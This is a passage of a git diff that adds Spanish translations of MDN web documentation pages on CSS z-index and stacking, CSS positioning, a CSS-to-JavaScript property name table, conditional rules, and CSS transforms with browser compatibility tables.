+ <li><a href="/es/docs/Web/CSS/CSS_Positioning/entendiendo_z_index/ejemplo_1_del_contexto_de_apilamiento" title="Ejemplo 1 del contexto de apilamiento">Ejemplo 1 del contexto de apilamiento</a> : Jerarquía HTML de 2 niveles, z-index en el último nivel</li>
+ <li><a href="/es/docs/Web/CSS/CSS_Positioning/entendiendo_z_index/ejemplo_2_del_contexto_de_apilamiento" title="Ejemplo 2 del contexto de apilamiento">Ejemplo 2 del contexto de apilamiento</a> : Jerarquía HTML de 2 niveles, z-index en todos los niveles</li>
+ <li><a href="/es/docs/Web/CSS/CSS_Positioning/entendiendo_z_index/ejemplo_3_del_contexto_de_apilamiento" title="Ejemplo 3 del contexto de apilamiento">Ejemplo 3 del contexto de apilamiento</a> : Jerarquía HTML de 3 niveles, z-index en el segundo nivel</li>
+</ul>
+
+<div class="originaldocinfo">
+<h3 id="Original_Document_Information" name="Original_Document_Information">Información del documento original</h3>
+
+<ul>
+ <li>Autor(es): Paolo Lombardi</li>
+ <li>Este artículo es una traducción al inglés de un artículo que escribí en italiano para <a href="http://www.yappy.it">YappY</a>. He dado el derecho de compartir el contenido bajo <a href="http://creativecommons.org/licenses/by-sa/2.0/">Creative Commons: Attribution-Sharealike license</a></li>
+ <li>Last Updated Date: July 9th, 2005</li>
+</ul>
+</div>
diff --git a/files/es/web/css/css_positioning/entendiendo_z_index/index.html b/files/es/web/css/css_positioning/entendiendo_z_index/index.html
new file mode 100644
index 0000000000..14971890e0
--- /dev/null
+++ b/files/es/web/css/css_positioning/entendiendo_z_index/index.html
@@ -0,0 +1,47 @@
+---
+title: Entendiendo la propiedad CSS z-index
+slug: Web/CSS/CSS_Positioning/entendiendo_z_index
+tags:
+  - Avanzado
+  - CSS
+  - Entendiendo_CSS_Z_Index
+  - Guía
+  - Referencia
+  - z-index
+translation_of: Web/CSS/CSS_Positioning/Understanding_z_index
+---
+<p>Usualmente se puede considerar que las páginas HTML tienen dos dimensiones, porque el texto, las imágenes y otros elementos son organizados en la página sin superponerse. Hay un solo flujo de renderizado, y todos los elementos son concientes del espacio ocupado por otros. El atributo <span class="seoSummary">{{cssxref("z-index")}}</span> te permite ajustar el orden de las capas de los objetos cuando el contenido está siendo renderizado.</p>
+
+<blockquote>
+<p style="">En CSS 2.1, cada caja tiene una posición en tres dimensiones. Adicionalmente a sus posiciones horizontales y verticales, las cajas caen a lo largo de un "eje-z" y son formadas una encima de la otra. Las posiciones eje-Z son particularmente relevantes cuando las cajas se superponen visualmente.</p>
+</blockquote>
+
+<p>(de <a class="external" href="http://www.w3.org/TR/CSS21/visuren.html#z-index">CSS 2.1 Section 9.9.1 - Layered presentation</a>)</p>
+
+<p>Eso significa que las reglas de estilo CSS te permiten posicionar cajas en capas adicionales a la capa normal de renderizado (capa 0). La posición Z de cada capa es expresada como un entero que representa el orden de apilamiento durante el proceso de renderizado. Números más grandes significan mayor cercanía al observador. La posición Z puede ser controlada con la propiedad CSS {{ cssxref("z-index") }}.</p>
+
+<p>Usar z-index parece extremadamente fácil: una sola propiedad, asigna un número entero, con un comportamiento fácil de entender. Sin embargo, cuando z-index es aplicada a jerarquías complejas de elementos HTML, su comportamiento puede ser difícil de entender o incluso impredecible. Esto es debido a reglas complejas de apilamiento. De hecho una sección dedicada ha sido reservada en la especificación CSS <a class="external" href="http://www.w3.org/TR/CSS21/zindex.html">CSS-2.1 Appendix E</a> para explicar mejor estas reglas.</p>
+
+<p>Este artículo va a intentar explicar esas reglas, de una forma más simple y con varios ejemplos.</p>
+
+<ol>
+ <li><a href="/es/docs/Web/CSS/CSS_Positioning/entendiendo_z_index/Stacking_without_z-index" title="  javichito Apilando sin z-index">Apilando sin z-index</a> : Reglas de apilamiento por defecto</li>
+ <li><a href="/es/docs/Web/CSS/CSS_Positioning/entendiendo_z_index/Apilamiento_y_float" title="Apilamiento y float">Apilamiento y float</a> : Cómo son manejados los elementos flotantes</li>
+ <li><a href="/es/docs/Web/CSS/CSS_Positioning/entendiendo_z_index/Agregando_z-index" title="Agregando z-index">Agregando z-index</a> : Usando z-index para cambiar el apilamiento por defecto</li>
+ <li><a href="/es/docs/Web/CSS/CSS_Positioning/entendiendo_z_index/El_contexto_de_apilamiento" title="El contexto de apilamiento">El contexto de apilamiento</a> : Notas sobre el contexto de apilamiento</li>
+ <li><a href="/es/docs/Web/CSS/CSS_Positioning/entendiendo_z_index/ejemplo_1_del_contexto_de_apilamiento" title="Ejemplo 1 del contexto de apilamiento">Ejemplo 1 del contexto de apilamiento</a> : Jerarquía HTML de 2 niveles, z-index en el último nivel</li>
+ <li><a href="/es/docs/Web/CSS/CSS_Positioning/entendiendo_z_index/ejemplo_2_del_contexto_de_apilamiento" title="Ejemplo 2 del contexto de apilamiento">Ejemplo 2 del contexto de apilamiento</a> : Jerarquía HTML de 2 niveles, z-index en todos los niveles</li>
+ <li><a href="/es/docs/Web/CSS/CSS_Positioning/entendiendo_z_index/ejemplo_3_del_contexto_de_apilamiento" title="Ejemplo 3 del contexto de apilamiento">Ejemplo 3 del contexto de apilamiento</a> : Jerarquía HTML de 3 niveles, z-index en el segundo nivel</li>
+</ol>
+
+<p><small><em>Nota del autor: Gracias a Wladimir Palant y Rod Whiteley por la revisión.</em></small></p>
+
+<div class="originaldocinfo">
+<h3 id="Original_Document_Information" name="Original_Document_Information">Información del documento original</h3>
+
+<ul>
+ <li>Autor(es): Paolo Lombardi</li>
+ <li>Este artículo es una traducción al inglés de un artículo que escribí en italiano para <a class="external" href="http://www.yappy.it">YappY</a>. He dado el derecho de compartir el contenido bajo <a class="external" href="http://creativecommons.org/licenses/by-sa/2.0/">Creative Commons: Attribution-Sharealike license</a></li>
+ <li>Fecha de última actualización: 9 de Julio del 2005</li>
+</ul>
+</div>
diff --git a/files/es/web/css/css_positioning/entendiendo_z_index/stacking_without_z-index/index.html b/files/es/web/css/css_positioning/entendiendo_z_index/stacking_without_z-index/index.html
new file mode 100644
index 0000000000..97038e7bae
--- /dev/null
+++ b/files/es/web/css/css_positioning/entendiendo_z_index/stacking_without_z-index/index.html
@@ -0,0 +1,141 @@
+---
+title: Apilando sin z-index
+slug: Web/CSS/CSS_Positioning/entendiendo_z_index/Stacking_without_z-index
+translation_of: Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_without_z-index
+---
+<p>« <a href="/es/CSS" title="CSS">CSS</a> « <a href="/es/docs/Web/CSS/CSS_Positioning/entendiendo_z_index" title="Understanding CSS z-index">ENTENDIENDO LA PROPIEDAD CSS Z-INDEX</a></p>
+
+<h3 id="Apilando_sin_z-index">Apilando sin z-index</h3>
+
+<p>Cuando ningún elemento tiene z-index, los elementos son apilados en este orden (de abajo hacia arriba):</p>
+
+<ol>
+ <li>El fondo y los bordes del elemento raiz</li>
+ <li>Bloques descendientes en el flujo normal, en orden de aparición (en HTML)</li>
+ <li>Elementos posicionados descendentemente, en orden de aparición (en HTML)</li>
+</ol>
+
+<p>En el siguiente ejemplo, los bloques con posiciones absolutas y relativas son apropiadamente dimensionados y posicionados para ilustrar las reglas de apilamiento.</p>
+
+<div class="note">
+<p><strong>Notas:</strong></p>
+
+<ul>
+ <li>Dado un grupo homogéneo de elementos sin propiedad z-index, tales como los bloques posicionados (DIV #1 al #4) en el ejemplo, el orden de apilamiento de los elementos es su orden en la jerarquía HTML, independientemente de su posición.</li>
+ <li>
+  <p>Bloques estándar (DIV #5) en el flujo normal, sin ninguna propiedad de posicionamiento, siempre son renderizados antes de los elementos posicionados y aparecen debajo de los mismos, incluso si están después en la jerarquía HTML.</p>
+ </li>
+</ul>
+</div>
+
+<p><img alt="understanding_zindex_01.png" class="default internal" src="/@api/deki/files/910/=understanding_zindex_01.png"></p>
+
+<p> </p>
+
+<h2 id="Example" name="Example">Ejemplo</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div id="absdiv1"&gt;
+    &lt;br /&gt;&lt;span class="bold"&gt;DIV #1&lt;/span&gt;
+    &lt;br /&gt;position: absolute; &lt;/div&gt;
+&lt;div id="reldiv1"&gt;
+    &lt;br /&gt;&lt;span class="bold"&gt;DIV #2&lt;/span&gt;
+    &lt;br /&gt;position: relative; &lt;/div&gt;
+&lt;div id="reldiv2"&gt;
+    &lt;br /&gt;&lt;span class="bold"&gt;DIV #3&lt;/span&gt;
+    &lt;br /&gt;position: relative; &lt;/div&gt;
+&lt;div id="absdiv2"&gt;
+    &lt;br /&gt;&lt;span class="bold"&gt;DIV #4&lt;/span&gt;
+    &lt;br /&gt;position: absolute; &lt;/div&gt;
+&lt;div id="normdiv"&gt;
+    &lt;br /&gt;&lt;span class="bold"&gt;DIV #5&lt;/span&gt;
+    &lt;br /&gt;no positioning &lt;/div&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css"> .bold {
+     font-weight: bold;
+     font: 12px Arial;
+ }
+ #normdiv {
+     height: 70px;
+     border: 1px dashed #999966;
+     background-color: #ffffcc;
+     margin: 0px 50px 0px 50px;
+     text-align: center;
+ }
+ #reldiv1 {
+     opacity: 0.7;
+     height: 100px;
+     position: relative;
+     top: 30px;
+     border: 1px dashed #669966;
+     background-color: #ccffcc;
+     margin: 0px 50px 0px 50px;
+     text-align: center;
+ }
+ #reldiv2 {
+     opacity: 0.7;
+     height: 100px;
+     position: relative;
+     top: 15px;
+     left: 20px;
+     border: 1px dashed #669966;
+     background-color: #ccffcc;
+     margin: 0px 50px 0px 50px;
+     text-align: center;
+ }
+ #absdiv1 {
+     opacity: 0.7;
+     position: absolute;
+     width: 150px;
+     height: 350px;
+     top: 10px;
+     left: 10px;
+     border: 1px dashed #990000;
+     background-color: #ffdddd;
+     text-align: center;
+ }
+ #absdiv2 {
+     opacity: 0.7;
+     position: absolute;
+     width: 150px;
+     height: 350px;
+     top: 10px;
+     right: 10px;
+     border: 1px dashed #990000;
+     background-color: #ffdddd;
+     text-align: center;
+ }
+</pre>
+
+<h3 id="Resultado">Resultado</h3>
+
+<p>(Si la imagen no aparece en CodePen, haz clic en el botón Tidy en la sección CSS)</p>
+
+<p>{{ EmbedLiveSample('Example', '', '', '', 'Web/CSS/CSS_Positioning/Understanding_z_index/Stacking_without_z-index') }}</p>
+
+<h3 id="También_puedes_ver">También puedes ver</h3>
+
+<ul>
+ <li><a href="/es/docs/Web/CSS/CSS_Positioning/entendiendo_z_index/Apilamiento_y_float" title="Apilamiento y float">Apilamiento y float</a> : Cómo son manejados los elementos flotantes</li>
+ <li><a href="/es/docs/Web/CSS/CSS_Positioning/entendiendo_z_index/Agregando_z-index" title="Agregando z-index">Agregando z-index</a> : Usando z-index para cambiar el apilamiento por defecto</li>
+ <li><a href="/es/docs/Web/CSS/CSS_Positioning/entendiendo_z_index/El_contexto_de_apilamiento" title="El contexto de apilamiento">El contexto de apilamiento</a> : Notas sobre el contexto de apilamiento</li>
+ <li><a href="/es/docs/Web/CSS/CSS_Positioning/entendiendo_z_index/ejemplo_1_del_contexto_de_apilamiento" title="Ejemplo 1 del contexto de apilamiento">Ejemplo 1 del contexto de apilamiento</a> : Jerarquía HTML de 2 niveles, z-index en el último nivel</li>
+ <li><a href="/es/docs/Web/CSS/CSS_Positioning/entendiendo_z_index/ejemplo_2_del_contexto_de_apilamiento" title="Ejemplo 2 del contexto de apilamiento">Ejemplo 2 del contexto de apilamiento</a> : Jerarquía HTML de 2 niveles, z-index en todos los niveles</li>
+ <li><a href="/es/docs/Web/CSS/CSS_Positioning/entendiendo_z_index/ejemplo_3_del_contexto_de_apilamiento" title="Ejemplo 3 del contexto de apilamiento">Ejemplo 3 del contexto de apilamiento</a> : Jerarquía HTML de 3 niveles, z-index en el segundo nivel</li>
+</ul>
+
+<div class="originaldocinfo">
+<h3 id="Original_Document_Information" name="Original_Document_Information">Información del documento original</h3>
+
+<ul>
+ <li>Autor(es): Paolo Lombardi</li>
+ <li>Este artículo es una traducción al inglés de un artículo que escribí en italiano para <a href="http://www.yappy.it">YappY</a>. He dado el derecho de compartir el contenido bajo <a href="http://creativecommons.org/licenses/by-sa/2.0/">Creative Commons: Attribution-Sharealike license</a></li>
+ <li>Last Updated Date: November 3rd, 2014</li>
+</ul>
+</div>
+
+<p> </p>
diff --git a/files/es/web/css/css_positioning/index.html b/files/es/web/css/css_positioning/index.html
new file mode 100644
index 0000000000..84e1b5036f
--- /dev/null
+++ b/files/es/web/css/css_positioning/index.html
@@ -0,0 +1,115 @@
+---
+title: Posicionamiento CSS
+slug: Web/CSS/CSS_Positioning
+tags:
+  - CSS
+  - CSS Positioning
+  - CSS Reference
+  - NeedsTranslation
+  - Overview
+  - TopicStub
+translation_of: Web/CSS/CSS_Positioning
+---
+<p>{{CSSRef}}</p>
+
+<p><strong>Posicionamiento CSS</strong> es un módulo de CSS que define cómo posicionar elementos absoluta y relativamente en la página.</p>
+
+<h2 id="Referencia">Referencia</h2>
+
+<h3 id="Propiedades_CSS">Propiedades CSS</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("bottom")}}</li>
+ <li>{{cssxref("clear")}}</li>
+ <li>{{cssxref("display")}}</li>
+ <li>{{cssxref("float")}}</li>
+ <li>{{cssxref("left")}}</li>
+ <li>{{cssxref("position")}}</li>
+ <li>{{cssxref("right")}}</li>
+ <li>{{cssxref("top")}}</li>
+ <li>{{cssxref("visibility")}}</li>
+ <li>{{cssxref("z-index")}}</li>
+</ul>
+</div>
+
+<h2 id="Guías">Guías</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/CSS/CSS_Positioning/Understanding_z_index">Entendiendo la propiedad CSS z-index</a></dt>
+ <dd>Presenta la noción de contexto de apilamiento y explica cómo funciona el ordenamiento en el eje-Z a través de varios ejemplos.</dd>
+</dl>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS3 Positioning') }}</td>
+   <td>{{ Spec2('CSS3 Positioning') }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS2.1', 'visuren.html') }}</td>
+   <td>{{ Spec2('CSS2.1') }}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1.0</td>
+   <td>{{ CompatGeckoDesktop("1") }}</td>
+   <td>5.0</td>
+   <td>6.0</td>
+   <td>1.0 (85)</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1.0</td>
+   <td>{{ CompatGeckoMobile("1") }}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/es/web/css/css_properties_reference/index.html b/files/es/web/css/css_properties_reference/index.html
new file mode 100644
index 0000000000..3c18918a01
--- /dev/null
+++ b/files/es/web/css/css_properties_reference/index.html
@@ -0,0 +1,314 @@
+---
+title: CSS Properties Reference
+slug: Web/CSS/CSS_Properties_Reference
+tags:
+  - CSS
+  - Estilos
+  - Propiedades
+  - Referencia
+translation_of: Web/CSS/CSS_Properties_Reference
+---
+<h2 id="Propiedades_CSS_Básicas_Referencia">Propiedades CSS Básicas Referencia</h2>
+
+<p>La siguiente lista es una lista de la propiedades CSS más comunes junto con su equivalente en notación DOM que es cómo son normalmente accedidas desde JavaScript.</p>
+
+<div class="note"><strong>Note:</strong>  Es una lista incompleta. Para descubrir más propiedades CSS visita  <a href="/es-ES/docs/Web/CSS/Reference">la referencia principal CSS </a>y  and <a class="internal" href="/es-ES/docs/Web/CSS/Mozilla_Extensions">las Extensiones CSS de Mozilla</a>. Los artículos de referencia incluyen ejemplos sobre cómo usar todas estas propiedades.</div>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col"><strong>CSS</strong></th>
+   <th scope="col"><strong>JavaScript</strong></th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>background</td>
+   <td>background</td>
+  </tr>
+  <tr>
+   <td>background-attachment</td>
+   <td>backgroundAttachment</td>
+  </tr>
+  <tr>
+   <td>background-color</td>
+   <td>backgroundColor</td>
+  </tr>
+  <tr>
+   <td>background-image</td>
+   <td>backgroundImage</td>
+  </tr>
+  <tr>
+   <td>background-position</td>
+   <td>backgroundPosition</td>
+  </tr>
+  <tr>
+   <td>background-repeat</td>
+   <td>backgroundRepeat</td>
+  </tr>
+  <tr>
+   <td>border</td>
+   <td>border</td>
+  </tr>
+  <tr>
+   <td>border-bottom</td>
+   <td>borderBottom</td>
+  </tr>
+  <tr>
+   <td>border-bottom-color</td>
+   <td>borderBottomColor</td>
+  </tr>
+  <tr>
+   <td>border-bottom-style</td>
+   <td>borderBottomStyle</td>
+  </tr>
+  <tr>
+   <td>border-bottom-width</td>
+   <td>borderBottomWidth</td>
+  </tr>
+  <tr>
+   <td>border-color</td>
+   <td>borderColor</td>
+  </tr>
+  <tr>
+   <td>border-left</td>
+   <td>borderLeft</td>
+  </tr>
+  <tr>
+   <td>border-left-color</td>
+   <td>borderLeftColor</td>
+  </tr>
+  <tr>
+   <td>border-left-style</td>
+   <td>borderLeftStyle</td>
+  </tr>
+  <tr>
+   <td>border-left-width</td>
+   <td>borderLeftWidth</td>
+  </tr>
+  <tr>
+   <td>border-right</td>
+   <td>borderRight</td>
+  </tr>
+  <tr>
+   <td>border-right-color</td>
+   <td>borderRightColor</td>
+  </tr>
+  <tr>
+   <td>border-right-style</td>
+   <td>borderRightStyle</td>
+  </tr>
+  <tr>
+   <td>border-right-width</td>
+   <td>borderRightWidth</td>
+  </tr>
+  <tr>
+   <td>border-style</td>
+   <td>borderStyle</td>
+  </tr>
+  <tr>
+   <td>border-top</td>
+   <td>borderTop</td>
+  </tr>
+  <tr>
+   <td>border-top-color</td>
+   <td>borderTopColor</td>
+  </tr>
+  <tr>
+   <td>border-top-style</td>
+   <td>borderTopStyle</td>
+  </tr>
+  <tr>
+   <td>border-top-width</td>
+   <td>borderTopWidth</td>
+  </tr>
+  <tr>
+   <td>border-width</td>
+   <td>borderWidth</td>
+  </tr>
+  <tr>
+   <td>clear</td>
+   <td>clear</td>
+  </tr>
+  <tr>
+   <td>clip</td>
+   <td>clip</td>
+  </tr>
+  <tr>
+   <td>color</td>
+   <td>color</td>
+  </tr>
+  <tr>
+   <td>cursor</td>
+   <td>cursor</td>
+  </tr>
+  <tr>
+   <td>display</td>
+   <td>display</td>
+  </tr>
+  <tr>
+   <td>filter</td>
+   <td>filter</td>
+  </tr>
+  <tr>
+   <td>float</td>
+   <td>cssFloat</td>
+  </tr>
+  <tr>
+   <td>font</td>
+   <td>font</td>
+  </tr>
+  <tr>
+   <td>font-family</td>
+   <td>fontFamily</td>
+  </tr>
+  <tr>
+   <td>font-size</td>
+   <td>fontSize</td>
+  </tr>
+  <tr>
+   <td>font-variant</td>
+   <td>fontVariant</td>
+  </tr>
+  <tr>
+   <td>font-weight</td>
+   <td>fontWeight</td>
+  </tr>
+  <tr>
+   <td>height</td>
+   <td>height</td>
+  </tr>
+  <tr>
+   <td>left</td>
+   <td>left</td>
+  </tr>
+  <tr>
+   <td>letter-spacing</td>
+   <td>letterSpacing</td>
+  </tr>
+  <tr>
+   <td>line-height</td>
+   <td>lineHeight</td>
+  </tr>
+  <tr>
+   <td>list-style</td>
+   <td>listStyle</td>
+  </tr>
+  <tr>
+   <td>list-style-image</td>
+   <td>listStyleImage</td>
+  </tr>
+  <tr>
+   <td>list-style-position</td>
+   <td>listStylePosition</td>
+  </tr>
+  <tr>
+   <td>list-style-type</td>
+   <td>listStyleType</td>
+  </tr>
+  <tr>
+   <td>margin</td>
+   <td>margin</td>
+  </tr>
+  <tr>
+   <td>margin-bottom</td>
+   <td>marginBottom</td>
+  </tr>
+  <tr>
+   <td>margin-left</td>
+   <td>marginLeft</td>
+  </tr>
+  <tr>
+   <td>margin-right</td>
+   <td>marginRight</td>
+  </tr>
+  <tr>
+   <td>margin-top</td>
+   <td>marginTop</td>
+  </tr>
+  <tr>
+   <td>overflow</td>
+   <td>overflow</td>
+  </tr>
+  <tr>
+   <td>padding</td>
+   <td>padding</td>
+  </tr>
+  <tr>
+   <td>padding-bottom</td>
+   <td>paddingBottom</td>
+  </tr>
+  <tr>
+   <td>padding-left</td>
+   <td>paddingLeft</td>
+  </tr>
+  <tr>
+   <td>padding-right</td>
+   <td>paddingRight</td>
+  </tr>
+  <tr>
+   <td>padding-top</td>
+   <td>paddingTop</td>
+  </tr>
+  <tr>
+   <td>page-break-after</td>
+   <td>pageBreakAfter</td>
+  </tr>
+  <tr>
+   <td>page-break-before</td>
+   <td>pageBreakBefore</td>
+  </tr>
+  <tr>
+   <td>position</td>
+   <td>position</td>
+  </tr>
+  <tr>
+   <td>stroke-dasharray</td>
+   <td>strokeDasharray</td>
+  </tr>
+  <tr>
+   <td>stroke-dashoffset</td>
+   <td>strokeDashoffset</td>
+  </tr>
+  <tr>
+   <td>stroke-width</td>
+   <td>strokeWidth</td>
+  </tr>
+  <tr>
+   <td>text-align</td>
+   <td>textAlign</td>
+  </tr>
+  <tr>
+   <td>text-decoration</td>
+   <td>textDecoration</td>
+  </tr>
+  <tr>
+   <td>text-indent</td>
+   <td>textIndent</td>
+  </tr>
+  <tr>
+   <td>text-transform</td>
+   <td>textTransform</td>
+  </tr>
+  <tr>
+   <td>top</td>
+   <td>top</td>
+  </tr>
+  <tr>
+   <td>vertical-align</td>
+   <td>verticalAlign</td>
+  </tr>
+  <tr>
+   <td>visibility</td>
+   <td>visibility</td>
+  </tr>
+  <tr>
+   <td>width</td>
+   <td>width</td>
+  </tr>
+  <tr>
+   <td>z-index</td>
+   <td>zIndex</td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/es/web/css/css_reglas_condicionales/index.html b/files/es/web/css/css_reglas_condicionales/index.html
new file mode 100644
index 0000000000..59c2a9b328
--- /dev/null
+++ b/files/es/web/css/css_reglas_condicionales/index.html
@@ -0,0 +1,99 @@
+---
+title: CSS Reglas Condicionales
+slug: Web/CSS/CSS_Reglas_Condicionales
+tags:
+  - CSS
+  - Referencia
+translation_of: Web/CSS/CSS_Conditional_Rules
+---
+<div>{{CSSRef}}</div>
+
+<p>Las<strong> Reglas Condicionales </strong>(At-rules) es un módulo de CSS que permite definir un conjunto de reglas que solo aplicarán con base en las capacidades del procesador o del documento al cual la hoja de estilos está siendo aplicada.</p>
+
+<h2 id="Referencia">Referencia</h2>
+
+<h3 id="Reglas_condicionales">Reglas condicionales</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("@document")}}</li>
+ <li>{{cssxref("@media")}}</li>
+ <li>{{cssxref("@supports")}}</li>
+ <li>{{cssxref("@import")}}</li>
+</ul>
+</div>
+
+<h2 id="Guías">Guías</h2>
+
+<p><em>None.</em></p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estatus</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Conditional')}}</td>
+   <td>{{Spec2('CSS3 Conditional')}}</td>
+   <td>Definición Inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Catacterística</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte Básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Catacterística</th>
+   <th>Android</th>
+   <th>Chrome para Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte Básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/es/web/css/css_transforms/index.html b/files/es/web/css/css_transforms/index.html
new file mode 100644
index 0000000000..0467567c73
--- /dev/null
+++ b/files/es/web/css/css_transforms/index.html
@@ -0,0 +1,145 @@
+---
+title: CSS Transforms
+slug: Web/CSS/CSS_Transforms
+translation_of: Web/CSS/CSS_Transforms
+---
+<p>{{CSSRef}}{{SeeCompatTable}}</p>
+
+<p><strong>CSS Transforms</strong> is a module of CSS that defines how elements styled with CSS can be transformed in two-dimensional or three-dimensional space.</p>
+
+<h2 id="Reference">Reference</h2>
+
+<h3 id="CSS_Properties">CSS Properties</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("backface-visibility")}}</li>
+ <li>{{cssxref("perspective")}}</li>
+ <li>{{cssxref("perspective-origin")}}</li>
+ <li>{{cssxref("transform")}}</li>
+ <li>{{cssxref("transform-box")}}</li>
+ <li>{{cssxref("transform-origin")}}</li>
+ <li>{{cssxref("transform-style")}}</li>
+</ul>
+</div>
+
+<h2 id="Guides">Guides</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/CSS/CSS_Transforms/Using_CSS_transforms">Using CSS transforms</a></dt>
+ <dd>Step-by-step tutorial about how to transform elements styled with CSS.</dd>
+</dl>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS3 Transforms') }}</td>
+   <td>{{ Spec2('CSS3 Transforms') }}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>
+    <p>{{CompatVersionUnknown}} {{property_prefix("-webkit")}}<br>
+     36</p>
+   </td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}{{property_prefix("-moz")}}<sup>[1]</sup><br>
+    {{CompatGeckoDesktop("16.0")}}<sup>[2]</sup></td>
+   <td>9.0{{property_prefix("-ms")}}<sup>[3]</sup><br>
+    10.0</td>
+   <td>10.5{{property_prefix("-o")}}<br>
+    12.10<br>
+    15.0{{property_prefix("-webkit")}}<br>
+    23</td>
+   <td>3.1{{property_prefix("-webkit")}}</td>
+  </tr>
+  <tr>
+   <td>3D Support</td>
+   <td>12.0{{property_prefix("-webkit")}}<br>
+    36</td>
+   <td>10.0{{property_prefix("-moz")}}<br>
+    {{CompatGeckoDesktop("16.0")}}</td>
+   <td>10.0</td>
+   <td>15.0{{property_prefix("-webkit")}}<br>
+    23</td>
+   <td>4.0{{property_prefix("-webkit")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatAndroid(2.1)}}{{property_prefix("-webkit")}}<sup>[4]</sup></td>
+   <td>{{CompatVersionUnknown}}{{property_prefix("-webkit")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}<br>
+    11.0{{property_prefix("-webkit")}}<sup>[5]</sup></td>
+   <td>11.5{{property_prefix("-webkit")}}</td>
+   <td>3.2 {{CompatVersionUnknown}}{{property_prefix("-webkit")}}</td>
+  </tr>
+  <tr>
+   <td>3D Support</td>
+   <td>{{CompatAndroid(3.0)}}{{property_prefix("-webkit")}}</td>
+   <td>{{CompatVersionUnknown}}{{ property_prefix("-webkit")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
